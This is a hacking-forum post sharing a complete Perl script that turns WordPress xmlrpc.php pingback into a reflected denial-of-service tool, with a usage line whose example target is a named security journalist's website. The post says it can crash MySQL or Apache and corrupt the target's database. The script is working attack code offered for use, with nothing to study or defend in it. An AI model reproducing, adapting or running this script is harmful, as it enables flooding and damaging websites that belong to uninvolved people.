• Hello Guest! Welcome to ConsoleCrunch, to help support our site check out the premium upgrades HERE! to get exclusive access to our hidden content.
  • Unable to load portions of the website...
    If you use an ad blocker addon, you should disable it because it interferes with several elements of the site and blocks more than just adverts.
  • Read Rules Before Posting Post Virus Scans with every program.

XMLRPC Ddos [Perl]

ZionHD

Leader
Retired Staff
What this script does is use a WordPress vulnerability found in the file xmlrpc.php, and abuses it's ping back function causing the wordpress site to request (a) page(s) from your target. This can cause MySQL to crash and/or Apache to crash. If MySQL crashes on the target it is possible you can damage their database causing it to corrupt. This script is coded in Perl, you may need to install some perl modules for it to work. If you need help installing the perl modules then use google!

Code:
#!/usr/bin/perl -w
use List::Util qw(min max);
use LWP::UserAgent;
use HTTP::Request::Common;
use Parallel::ForkManager;
use vars qw( $PROG );
( $PROG = $0 ) =~ s/^.*[\/\\]//;
if ( @ARGV == 0 ) {
        print "Usage: ./$PROG [TARGET] [THREADS] [LIST] [TIMEOUT]\nExample: ./$PROG http://krebsonsecurity.com/ 10000 xmlrpc.txt 10\nList Format: XMLRPC POST\nMade by Vypor\n";
    exit;
}
my $max_processes = $ARGV[1];
my $pm = Parallel::ForkManager->new($max_processes);
my $count = 1;
my $timeout = $ARGV[3];

my $weblist = $ARGV[2];
open my $handle, '<', $weblist;
chomp(my @webservers = <$handle>);
close $handle;

repeat:
for my $webservers (@webservers) {
my @chars = ("a".."z", A..Z, 0..9);
my $random = join '', map { @chars[rand @chars] } 1 .. 8;
my $random2 = join '', map { @chars[rand @chars] } 1 .. 8;

        $count++;
        $max = max $count;
        my $pid = $pm->start and next;
                alarm($timeout);
                my($xmlrpc, $webpost) = split(' ', $webservers, 2);
                        my $target = "$ARGV[0]?$random=$random2";
                        my $userAgent = LWP::UserAgent->new(agent => 'perl post');
                        my $message = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>$target</string></value></param><param><value><string>$webpost</string></value></param></params></methodCall>";
                        my $response = $userAgent->request(POST $xmlrpc,
                Content_Type => 'text/xml',
                Content => $message);
print("\rRequests: $max ");
        $pm->finish;

}
$pm->wait_all_children;
goto repeat;
 
General chit-chat
Help Users
  • No one is chatting at the moment.
  • Chat Bot:
    xperttechy is our newest member. Welcome!
  • Chat Bot:
    burhanpc is our newest member. Welcome!
  • Chat Bot:
    jerpator is our newest member. Welcome!
  • Chat Bot:
    kazuma18 is our newest member. Welcome!
  • Chat Bot:
    kazuma18 has posted a new reply in the thread "Console ID #8660".
  • Chat Bot:
    Blazed420999 is our newest member. Welcome!
  • Chat Bot:
    charlles is our newest member. Welcome!
  • Chat Bot:
    charlles has posted a new reply in the thread "Console ID #8660".
  • Chat Bot:
    CFWMODDINGCEX is our newest member. Welcome!
  • Chat Bot:
    Yote1234 is our newest member. Welcome!
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    Christo has joined the room.
  • Chat Bot:
    Mariglen is our newest member. Welcome!
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    WxRRioR_ is our newest member. Welcome!
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    Pinauz is our newest member. Welcome!
  • Chat Bot:
    派森寒树 is our newest member. Welcome!
  • Chat Bot:
    派森寒树 has left the room.
  • Chat Bot:
    ahagai is our newest member. Welcome!
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    SarielthXxxx is our newest member. Welcome!
  • Chat Bot:
    Christo has joined the room.
  • Chat Bot:
    QM|T_JinX has joined the room.
      Chat Bot: QM|T_JinX has joined the room.
      Back
      Top